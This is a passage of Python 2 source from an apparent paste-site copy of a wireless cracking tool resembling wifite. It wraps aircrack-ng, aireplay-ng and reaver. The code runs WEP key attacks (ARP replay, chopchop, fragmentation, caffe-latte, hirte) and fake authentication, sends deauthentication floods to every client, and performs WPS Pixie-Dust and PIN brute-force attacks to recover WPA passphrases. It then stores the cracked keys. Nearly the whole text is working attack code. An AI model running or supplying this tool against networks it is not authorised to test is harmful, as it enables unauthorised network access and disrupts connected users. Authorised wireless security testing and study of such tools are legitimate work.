  2918. if len(csv) > 0:
  2919. ivs = int(csv[0].data)
  2920. print GR + " [endless]" + W + " captured %s%d%s ivs, iv/sec: %s%d%s \r" % \
  2921. (G, total_ivs + ivs, W, G, (ivs - last_ivs) / 5, W),
  2922. last_ivs = ivs
  2923. stdout.flush()
  2924.  
  2925. # Check if key has been cracked yet.
  2926. if os.path.exists(self.RUN_CONFIG.temp + 'wepkey.txt'):
  2927. # Cracked!
  2928. infile = open(self.RUN_CONFIG.temp + 'wepkey.txt', 'r')
  2929. key = infile.read().replace('\n', '')
  2930. infile.close()
  2931. print GR + '\n\n [endless] %s %s (%s)! key: "%s"' % (
  2932. G + 'cracked', self.target.ssid + W, G + self.target.bssid + W, C + key + W)
  2933. self.RUN_CONFIG.WEP_FINDINGS.append(
  2934. 'cracked %s (%s), key: "%s"' % (self.target.ssid, self.target.bssid, key))
  2935. self.RUN_CONFIG.WEP_FINDINGS.append('')
  2936.  
  2937. t = Target(self.target.bssid, 0, 0, 0, 'WEP', self.target.ssid)
  2938. t.key = key
  2939. self.RUN_CONFIG.save_cracked(t)
  2940.  
  2941. # Kill processes
  2942. send_interrupt(proc_airodump)
  2943. send_interrupt(proc_aireplay)
  2944. send_interrupt(proc_aircrack)
  2945. # Remove files generated by airodump/aireplay/packetforce
  2946. remove_airodump_files(self.RUN_CONFIG.temp + 'wep')
  2947. remove_file(self.RUN_CONFIG.temp + 'wepkey.txt')
  2948. return True
  2949.  
  2950. # Keyboard interrupt during attack
  2951. except KeyboardInterrupt:
  2952. print R + '\n (^C)' + O + ' WEP attack interrupted\n' + W
  2953.  
  2954. send_interrupt(proc_airodump)
  2955. if proc_aireplay != None:
  2956. send_interrupt(proc_aireplay)
  2957. if proc_aircrack != None:
  2958. send_interrupt(proc_aircrack)
  2959.  
  2960. options = []
  2961. selections = []
  2962. if remaining_attacks > 0:
  2963. options.append('%scontinue%s attacking this target (%d remaining WEP attack%s)' % \
  2964. (G, W, (remaining_attacks), 's' if remaining_attacks != 1 else ''))
  2965. selections.append(G + 'c' + W)
  2966.  
  2967. if self.RUN_CONFIG.TARGETS_REMAINING > 0:
  2968. options.append('%sskip%s this target, move onto next target (%d remaining target%s)' % \
  2969. (O, W, self.RUN_CONFIG.TARGETS_REMAINING,
  2970. 's' if self.RUN_CONFIG.TARGETS_REMAINING != 1 else ''))
  2971. selections.append(O + 's' + W)
  2972.  
  2973. options.append('%sexit%s the program completely' % (R, W))
  2974. selections.append(R + 'e' + W)
  2975.  
  2976. if len(options) > 1:
  2977. # Ask user what they want to do, Store answer in "response"
  2978. print GR + ' [+]' + W + ' what do you want to do?'
  2979. response = ''
  2980. while response != 'c' and response != 's' and response != 'e':
  2981. for option in options:
  2982. print ' %s' % option
  2983. response = raw_input(
  2984. GR + ' [+]' + W + ' please make a selection (%s): ' % (', '.join(selections))).lower()[0]
  2985. else:
  2986. response = 'e'
  2987.  
  2988. if response == 'e' or response == 's':
  2989. # Exit or skip target (either way, stop this attack)
  2990. if self.RUN_CONFIG.WEP_SAVE:
  2991. # Save packets
  2992. save_as = re.sub(r'[^a-zA-Z0-9]', '', self.target.ssid) + '_' + self.target.bssid.replace(':',
  2993. '-') + '.cap' + W
  2994. try:
  2995. rename(self.RUN_CONFIG.temp + 'wep-01.cap', save_as)
  2996. except OSError:
  2997. print R + ' [!]' + O + ' unable to save capture file!' + W
  2998. else:
  2999. print GR + ' [+]' + W + ' packet capture ' + G + 'saved' + W + ' to ' + G + save_as + W
  3000.  
  3001. # Remove files generated by airodump/aireplay/packetforce
  3002. for filename in os.listdir('.'):
  3003. if filename.startswith('replay_arp-') and filename.endswith('.cap'):
  3004. remove_file(filename)
  3005. remove_airodump_files(self.RUN_CONFIG.temp + 'wep')
  3006. remove_file(self.RUN_CONFIG.temp + 'wepkey.txt')
  3007. print ''
  3008. if response == 'e':
  3009. self.RUN_CONFIG.exit_gracefully(0)
  3010. return
  3011.  
  3012. elif response == 'c':
  3013. # Continue attacks
  3014. # Need to backup temp/wep-01.cap and remove airodump files
  3015. i = 2
  3016. while os.path.exists(self.RUN_CONFIG.temp + 'wep-' + str(i) + '.cap'):
  3017. i += 1
  3018. copy(self.RUN_CONFIG.temp + "wep-01.cap", self.RUN_CONFIG.temp + 'wep-' + str(i) + '.cap')
  3019. remove_airodump_files(self.RUN_CONFIG.temp + 'wep')
  3020.  
  3021. # Need to restart airodump-ng, as it's been interrupted/killed
  3022. proc_airodump = Popen(cmd_airodump, stdout=DN, stderr=DN)
  3023.  
  3024. # Say we haven't started cracking yet, so we re-start if needed.
  3025. started_cracking = False
  3026.  
  3027. # Reset IVs counters for proper behavior
  3028. total_ivs += ivs
  3029. ivs = 0
  3030. last_ivs = 0
  3031.  
  3032. # Also need to remember to crack "temp/*.cap" instead of just wep-01.cap
  3033. pass
  3034.  
  3035. if successful:
  3036. print GR + '\n [0:00:00]' + W + ' attack complete: ' + G + 'success!' + W
  3037. else:
  3038. print GR + '\n [0:00:00]' + W + ' attack complete: ' + R + 'failure' + W
  3039.  
  3040. send_interrupt(proc_airodump)
  3041. if proc_aireplay != None:
  3042. send_interrupt(proc_aireplay)
  3043.  
  3044. # Remove files generated by airodump/aireplay/packetforce
  3045. for filename in os.listdir('.'):
  3046. if filename.startswith('replay_arp-') and filename.endswith('.cap'):
  3047. remove_file(filename)
  3048. remove_airodump_files(self.RUN_CONFIG.temp + 'wep')
  3049. remove_file(self.RUN_CONFIG.temp + 'wepkey.txt')
  3050.  
  3051. def wep_fake_auth(self, iface, target, time_to_display):
  3052. """
  3053. Attempt to (falsely) authenticate with a WEP access point.
  3054. Gives 3 seconds to make each 5 authentication attempts.
  3055. Returns True if authentication was successful, False otherwise.
  3056. """
  3057. max_wait = 3 # Time, in seconds, to allow each fake authentication
  3058. max_attempts = 5 # Number of attempts to make
  3059.  
  3060. for fa_index in xrange(1, max_attempts + 1):
  3061. print '\r ',
  3062. print '\r %s attempting %sfake authentication%s (%d/%d)... ' % \
  3063. (GR + time_to_display + W, G, W, fa_index, max_attempts),
  3064. stdout.flush()
  3065.  
  3066. cmd = ['aireplay-ng',
  3067. '--ignore-negative-one',
  3068. '-1', '0', # Fake auth, no delay
  3069. '-a', target.bssid,
  3070. '-T', '1'] # Make 1 attempt
  3071. if target.ssid != '':
  3072. cmd.append('-e')
  3073. cmd.append(target.ssid)
  3074. cmd.append(iface)
  3075.  
  3076. proc_fakeauth = Popen(cmd, stdout=PIPE, stderr=DN)
  3077. started = time.time()
  3078. while proc_fakeauth.poll() == None and time.time() - started <= max_wait: pass
  3079. if time.time() - started > max_wait:
  3080. send_interrupt(proc_fakeauth)
  3081. print R + 'failed' + W,
  3082. stdout.flush()
  3083. time.sleep(0.5)
  3084. continue
  3085.  
  3086. result = proc_fakeauth.communicate()[0].lower()
  3087. if result.find('switching to shared key') != -1 or \
  3088. result.find('rejects open system'): pass
  3089. if result.find('association successful') != -1:
  3090. print G + 'success!' + W
  3091. return True
  3092.  
  3093. print R + 'failed' + W,
  3094. stdout.flush()
  3095. time.sleep(0.5)
  3096. continue
  3097. print ''
  3098. return False
  3099.  
  3100. def get_aireplay_command(self, iface, attack_num, target, clients, client_mac):
  3101. """
  3102. Returns aireplay-ng command line arguments based on parameters.
  3103. """
  3104. cmd = ''
  3105. if attack_num == 0:
  3106. cmd = ['aireplay-ng',
  3107. '--ignore-negative-one',
  3108. '--arpreplay',
  3109. '-b', target.bssid,
  3110. '-x', str(self.RUN_CONFIG.WEP_PPS)] # Packets per second
  3111. if client_mac != '':
  3112. cmd.append('-h')
  3113. cmd.append(client_mac)
  3114. elif len(clients) > 0:
  3115. cmd.append('-h')
  3116. cmd.append(clients[0].bssid)
  3117. cmd.append(iface)
  3118.  
  3119. elif attack_num == 1:
  3120. cmd = ['aireplay-ng',
  3121. '--ignore-negative-one',
  3122. '--chopchop',
  3123. '-b', target.bssid,
  3124. '-x', str(self.RUN_CONFIG.WEP_PPS), # Packets per second
  3125. '-m', '60', # Minimum packet length (bytes)
  3126. '-n', '82', # Maxmimum packet length
  3127. '-F'] # Automatically choose the first packet
  3128. if client_mac != '':
  3129. cmd.append('-h')
  3130. cmd.append(client_mac)
  3131. elif len(clients) > 0:
  3132. cmd.append('-h')
  3133. cmd.append(clients[0].bssid)
  3134. cmd.append(iface)
  3135.  
  3136. elif attack_num == 2:
  3137. cmd = ['aireplay-ng',
  3138. '--ignore-negative-one',
  3139. '--fragment',
  3140. '-b', target.bssid,
  3141. '-x', str(self.RUN_CONFIG.WEP_PPS), # Packets per second
  3142. '-m', '100', # Minimum packet length (bytes)
  3143. '-F'] # Automatically choose the first packet
  3144. if client_mac != '':
  3145. cmd.append('-h')
  3146. cmd.append(client_mac)
  3147. elif len(clients) > 0:
  3148. cmd.append('-h')
  3149. cmd.append(clients[0].bssid)
  3150. cmd.append(iface)
  3151.  
  3152. elif attack_num == 3:
  3153. cmd = ['aireplay-ng',
  3154. '--ignore-negative-one',
  3155. '--caffe-latte',
  3156. '-b', target.bssid]
  3157. if len(clients) > 0:
  3158. cmd.append('-h')
  3159. cmd.append(clients[0].bssid)
  3160. cmd.append(iface)
  3161.  
  3162. elif attack_num == 4:
  3163. cmd = ['aireplay-ng', '--ignore-negative-one', '--interactive', '-b', target.bssid, '-c',
  3164. 'ff:ff:ff:ff:ff:ff', '-t', '1', '-x', str(self.RUN_CONFIG.WEP_PPS), '-F', '-p', '0841', iface]
  3165.  
  3166. elif attack_num == 5:
  3167. if len(clients) == 0:
  3168. print R + ' [0:00:00] unable to carry out hirte attack: ' + O + 'no clients'
  3169. return ''
  3170. cmd = ['aireplay-ng',
  3171. '--ignore-negative-one',
  3172. '--cfrag',
  3173. '-h', clients[0].bssid,
  3174. iface]
  3175.  
  3176. return cmd
  3177.  
  3178. def wep_send_deauths(self, iface, target, clients):
  3179. """
  3180. Sends deauth packets to broadcast and every client.
  3181. """
  3182. # Send deauth to broadcast
  3183. cmd = ['aireplay-ng',
  3184. '--ignore-negative-one',
  3185. '--deauth', str(self.RUN_CONFIG.WPA_DEAUTH_COUNT),
  3186. '-a', target.bssid,
  3187. iface]
  3188. call(cmd, stdout=DN, stderr=DN)
  3189. # Send deauth to every client
  3190. for client in clients:
  3191. cmd = ['aireplay-ng',
  3192. '--ignore-negative-one',
  3193. '--deauth', str(self.RUN_CONFIG.WPA_DEAUTH_COUNT),
  3194. '-a', target.bssid,
  3195. '-h', client.bssid,
  3196. iface]
  3197. call(cmd, stdout=DN, stderr=DN)
  3198.  
  3199.  
  3200. #################
  3201. # WPS FUNCTIONS #
  3202. #################
  3203. class WPSAttack(Attack):
  3204. def __init__(self, iface, target, config):
  3205. self.iface = iface
  3206. self.target = target
  3207. self.RUN_CONFIG = config
  3208.  
  3209. def RunAttack(self):
  3210. '''
  3211. Abstract method for initializing the WPS attack
  3212. '''
  3213. if self.is_pixie_supported():
  3214. # Try the pixie-dust attack
  3215. if self.attack_wps_pixie():
  3216. # If it succeeds, stop
  3217. return True
  3218.  
  3219. # Drop out if user specified to run ONLY the pixie attack
  3220. if self.RUN_CONFIG.PIXIE:
  3221. return False
  3222.  
  3223. # Try the WPS PIN attack
  3224. return self.attack_wps()
  3225.  
  3226. def EndAttack(self):
  3227. '''
  3228. Abstract method for ending the WPS attack
  3229. '''
  3230. pass
  3231.  
  3232. def is_pixie_supported(self):
  3233. '''
  3234. Checks if current version of Reaver supports the pixie-dust attack
  3235. '''
  3236. p = Popen(['reaver', '-h'], stdout=DN, stderr=PIPE)
  3237. stdout = p.communicate()[1]
  3238. for line in stdout.split('\n'):
  3239. if '--pixie-dust' in line:
  3240. return True
  3241. return False
  3242.  
  3243. def attack_wps_pixie(self):
  3244. """
  3245. Attempts "Pixie WPS" attack which certain vendors
  3246. susceptible to.
  3247. """
  3248.  
  3249. # TODO Check if the user's version of reaver supports the Pixie attack (1.5.2+, "mod by t6_x")
  3250. # If not, return False
  3251.  
  3252. print GR + ' [0:00:00]' + W + ' initializing %sWPS Pixie attack%s on %s' % \
  3253. (G, W, G + self.target.ssid + W + ' (' + G + self.target.bssid + W + ')' + W)
  3254. cmd = ['reaver',
  3255. '-i', self.iface,
  3256. '-b', self.target.bssid,
  3257. '-o', self.RUN_CONFIG.temp + 'out.out', # Dump output to file to be monitored
  3258. '-c', self.target.channel,
  3259. '-s', 'n',
  3260. '-K', '1', # Pixie WPS attack
  3261. '-vv'] # verbose output
  3262.  
  3263. # Redirect stderr to output file
  3264. errf = open(self.RUN_CONFIG.temp + 'pixie.out', 'a')
  3265. # Start process
  3266. proc = Popen(cmd, stdout=errf, stderr=errf)
  3267.  
  3268. cracked = False # Flag for when password/pin is found
  3269. time_started = time.time()
  3270. pin = ''
  3271. key = ''
  3272.  
  3273. try:
  3274. while not cracked:
  3275. time.sleep(1)
  3276. errf.flush()
  3277. if proc.poll() != None:
  3278. # Process stopped: Cracked? Failed?
  3279. errf.close()
  3280. inf = open(self.RUN_CONFIG.temp + 'pixie.out', 'r')
  3281. lines = inf.read().split('\n')
  3282. inf.close()
  3283. for line in lines:
  3284. # When it's cracked:
  3285. if line.find("WPS PIN: '") != -1:
  3286. pin = line[line.find("WPS PIN: '") + 10:-1]
  3287. if line.find("WPA PSK: '") != -1:
  3288. key = line[line.find("WPA PSK: '") + 10:-1]
  3289. cracked = True
  3290. # When it' failed:
  3291. if 'Pixie-Dust' in line and 'WPS pin not found' in line:
  3292. # PixieDust isn't possible on this router
  3293. print '\r %s WPS Pixie attack%s failed - WPS pin not found %s' % (GR + sec_to_hms(time.time() - time_started) + G, R, W)
  3294. break
  3295. break
  3296.  
  3297. print '\r %s WPS Pixie attack:' % (GR + sec_to_hms(time.time() - time_started) + G),
  3298. # Check if there's an output file to parse
  3299. if not os.path.exists(self.RUN_CONFIG.temp + 'out.out'): continue
  3300. inf = open(self.RUN_CONFIG.temp + 'out.out', 'r')
  3301. lines = inf.read().split('\n')
  3302. inf.close()
  3303.  
  3304. output_line = ''
  3305. for line in lines:
  3306. line = line.replace('[+]', '').replace('[!]', '').replace('\0', '').strip()
  3307. if line == '' or line == ' ' or line == '\t': continue
  3308. if len(line) > 50:
  3309. # Trim to a reasonable size
  3310. line = line[0:47] + '...'
  3311. output_line = line
  3312.  
  3313. if 'Sending M2 message' in output_line:
  3314. # At this point in the Pixie attack, all output is via stderr
  3315. # We have to wait for the process to finish to see the result.
  3316. print O, 'attempting to crack and fetch psk...', W,
  3317. elif output_line != '':
  3318. # Print the last message from reaver as a "status update"
  3319. print C, output_line, W, ' ' * (50 - len(output_line)),
  3320.  
  3321. stdout.flush()
  3322.  
  3323. # Clear out output file
  3324. inf = open(self.RUN_CONFIG.temp + 'out.out', 'w')
  3325. inf.close()
  3326.  
  3327. if self.RUN_CONFIG.WPS_PIXIE_TIMEOUT > 0 and (time.time() - time_started) > self.RUN_CONFIG.WPS_PIXIE_TIMEOUT:
  3328. print R + '\n [!]' + O + ' unable to complete successful try in %d seconds' % (
  3329. self.RUN_CONFIG.WPS_PIXIE_TIMEOUT)
  3330. print R + ' [+]' + W + ' skipping %s' % (O + self.target.ssid + W)
  3331. break
  3332.  
  3333. # End of big "while not cracked" loop
  3334. if cracked:
  3335. if pin != '': print GR + '\n\n [+]' + G + ' PIN found: %s' % (C + pin + W)
  3336. if key != '': print GR + ' [+] %sWPA key found:%s %s' % (G, W, C + key + W)
  3337. self.RUN_CONFIG.WPA_FINDINGS.append(W + "found %s's WPA key: \"%s\", WPS PIN: %s" % (
  3338. G + self.target.ssid + W, C + key + W, C + pin + W))
  3339. self.RUN_CONFIG.WPA_FINDINGS.append('')
  3340.  
  3341. t = Target(self.target.bssid, 0, 0, 0, 'WPA', self.target.ssid)
  3342. t.key = key
  3343. t.wps = pin
  3344. self.RUN_CONFIG.save_cracked(t)
  3345.  
  3346. except KeyboardInterrupt:
  3347. print R + '\n (^C)' + O + ' WPS Pixie attack interrupted' + W
  3348. if attack_interrupted_prompt():
  3349. send_interrupt(proc)
  3350. print ''
  3351. self.RUN_CONFIG.exit_gracefully(0)
  3352.  
  3353. send_interrupt(proc)
  3354.  
  3355. # Delete the files
  3356. os.remove(self.RUN_CONFIG.temp + "out.out")
  3357. os.remove(self.RUN_CONFIG.temp + "pixie.out")
  3358. return cracked
  3359.  
  3360.  
  3361. def attack_wps(self):
  3362. """
  3363. Mounts attack against target on iface.
  3364. Uses "reaver" to attempt to brute force the PIN.
  3365. Once PIN is found, PSK can be recovered.
  3366. PSK is displayed to user and added to WPS_FINDINGS
  3367. """
  3368. print GR + ' [0:00:00]' + W + ' initializing %sWPS PIN attack%s on %s' % \
  3369. (G, W, G + self.target.ssid + W + ' (' + G + self.target.bssid + W + ')' + W)
  3370.  
  3371. cmd = ['reaver',
  3372. '-i', self.iface,
  3373. '-b', self.target.bssid,
  3374. '-o', self.RUN_CONFIG.temp + 'out.out', # Dump output to file to be monitored
  3375. '-a', # auto-detect best options, auto-resumes sessions, doesn't require input!
  3376. '-c', self.target.channel,
  3377. # '--ignore-locks',
  3378. '-vv'] # verbose output
  3379. proc = Popen(cmd, stdout=DN, stderr=DN)
  3380.  
  3381. cracked = False # Flag for when password/pin is found
  3382. percent = 'x.xx%' # Percentage complete
  3383. aps = 'x' # Seconds per attempt
  3384. time_started = time.time()
  3385. last_success = time_started # Time of last successful attempt
  3386. last_pin = '' # Keep track of last pin tried (to detect retries)
  3387. retries = 0 # Number of times we have attempted this PIN
  3388. tries_total = 0 # Number of times we have attempted all pins
  3389. tries = 0 # Number of successful attempts
  3390. pin = ''
  3391. key = ''
  3392.  
  3393. try:
  3394. while not cracked:
  3395. time.sleep(1)
  3396.  
  3397. if proc.poll() != None:
  3398. # Process stopped: Cracked? Failed?
  3399. inf = open(self.RUN_CONFIG.temp + 'out.out', 'r')
  3400. lines = inf.read().split('\n')
  3401. inf.close()
  3402. for line in lines:
  3403. # When it's cracked:
  3404. if line.find("WPS PIN: '") != -1:
  3405. pin = line[line.find("WPS PIN: '") + 10:-1]
  3406. if line.find("WPA PSK: '") != -1:
  3407. key = line[line.find("WPA PSK: '") + 10:-1]
  3408. cracked = True
  3409.  
  3410. break
  3411.  
  3412. if not os.path.exists(self.RUN_CONFIG.temp + 'out.out'): continue
  3413.  
  3414. inf = open(self.RUN_CONFIG.temp + 'out.out', 'r')
  3415. lines = inf.read().split('\n')
  3416. inf.close()
  3417.  
  3418. for line in lines:
  3419. if line.strip() == '': continue
  3420. # Status
  3421. if line.find(' complete @ ') != -1 and len(line) > 8:
  3422. percent = line.split(' ')[1]
  3423. i = line.find(' (')
  3424. j = line.find(' seconds/', i)
  3425. if i != -1 and j != -1: aps = line[i + 2:j]
  3426. # PIN attempt
  3427. elif line.find(' Trying pin ') != -1:
  3428. pin = line.strip().split(' ')[-1]
  3429. if pin == last_pin:
  3430. retries += 1
  3431. elif tries_total == 0:
  3432. last_pin = pin
  3433. tries_total -= 1
  3434. else:
  3435. last_success = time.time()
  3436. tries += 1
  3437. last_pin = pin
  3438. retries = 0
  3439. tries_total += 1
  3440.  
  3441. # Warning
  3442. elif line.endswith('10 failed connections in a row'):
  3443. pass
  3444.  
  3445. # Check for PIN/PSK
  3446. elif line.find("WPS PIN: '") != -1:
  3447. pin = line[line.find("WPS PIN: '") + 10:-1]
  3448. elif line.find("WPA PSK: '") != -1:
  3449. key = line[line.find("WPA PSK: '") + 10:-1]
  3450. cracked = True
  3451. if cracked: break
  3452.  
  3453. print ' %s WPS attack, %s success/ttl,' % \
  3454. (GR + sec_to_hms(time.time() - time_started) + W, \
  3455. G + str(tries) + W + '/' + O + str(tries_total) + W),
  3456.  
  3457. if percent == 'x.xx%' and aps == 'x':
  3458. print '\r',
  3459. else:
  3460. print '%s complete (%s sec/att) \r' % (G + percent + W, G + aps + W),
  3461.  
  3462. if self.RUN_CONFIG.WPS_TIMEOUT > 0 and (time.time() - last_success) > self.RUN_CONFIG.WPS_TIMEOUT:
  3463. print R + '\n [!]' + O + ' unable to complete successful try in %d seconds' % (
  3464. self.RUN_CONFIG.WPS_TIMEOUT)
  3465. print R + ' [+]' + W + ' skipping %s' % (O + self.target.ssid + W)
  3466. break
  3467.  
  3468. if self.RUN_CONFIG.WPS_MAX_RETRIES > 0 and retries > self.RUN_CONFIG.WPS_MAX_RETRIES:
  3469. print R + '\n [!]' + O + ' unable to complete successful try in %d retries' % (
  3470. self.RUN_CONFIG.WPS_MAX_RETRIES)
  3471. print R + ' [+]' + O + ' the access point may have WPS-locking enabled, or is too far away' + W
  3472. print R + ' [+]' + W + ' skipping %s' % (O + self.target.ssid + W)
  3473. break
  3474.  
  3475. if self.RUN_CONFIG.WPS_RATIO_THRESHOLD > 0.0 and tries > 0 and (
  3476. float(tries) / tries_total) < self.RUN_CONFIG.WPS_RATIO_THRESHOLD:
  3477. print R + '\n [!]' + O + ' successful/total attempts ratio was too low (< %.2f)' % (
  3478. self.RUN_CONFIG.WPS_RATIO_THRESHOLD)
  3479. print R + ' [+]' + W + ' skipping %s' % (G + self.target.ssid + W)
  3480. break
  3481.  
  3482. stdout.flush()
  3483. # Clear out output file if bigger than 1mb
  3484. inf = open(self.RUN_CONFIG.temp + 'out.out', 'w')
  3485. inf.close()
  3486.  
  3487. # End of big "while not cracked" loop
  3488.  
  3489. if cracked:
  3490. if pin != '': print GR + '\n\n [+]' + G + ' PIN found: %s' % (C + pin + W)
  3491. if key != '': print GR + ' [+] %sWPA key found:%s %s' % (G, W, C + key + W)
  3492. self.RUN_CONFIG.WPA_FINDINGS.append(W + "found %s's WPA key: \"%s\", WPS PIN: %s" % (
  3493. G + self.target.ssid + W, C + key + W, C + pin + W))
  3494. self.RUN_CONFIG.WPA_FINDINGS.append('')
  3495.  
  3496. t = Target(self.target.bssid, 0, 0, 0, 'WPA', self.target.ssid)
  3497. t.key = key
  3498. t.wps = pin
  3499. self.RUN_CONFIG.save_cracked(t)
  3500.  
  3501. except KeyboardInterrupt:
  3502. print R + '\n (^C)' + O + ' WPS brute-force attack interrupted' + W
  3503. if attack_interrupted_prompt():
  3504. send_interrupt(proc)
  3505. print ''
  3506. self.RUN_CONFIG.exit_gracefully(0)
  3507.  
  3508. send_interrupt(proc)
  3509.  
  3510. return cracked
  3511.  
  3512.  
  3513. if __name__ == '__main__':
  3514. RUN_CONFIG = RunConfiguration()
  3515. try:
  3516. banner(RUN_CONFIG)
  3517. engine = RunEngine(RUN_CONFIG)
  3518. engine.Start()
  3519. #main(RUN_CONFIG)
  3520. except KeyboardInterrupt:
  3521. print R + '\n (^C)' + O + ' interrupted\n' + W
  3522. except EOFError:
  3523. print R + '\n (^D)' + O + ' interrupted\n' + W
  3524.  
  3525. RUN_CONFIG.exit_gracefully(0)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement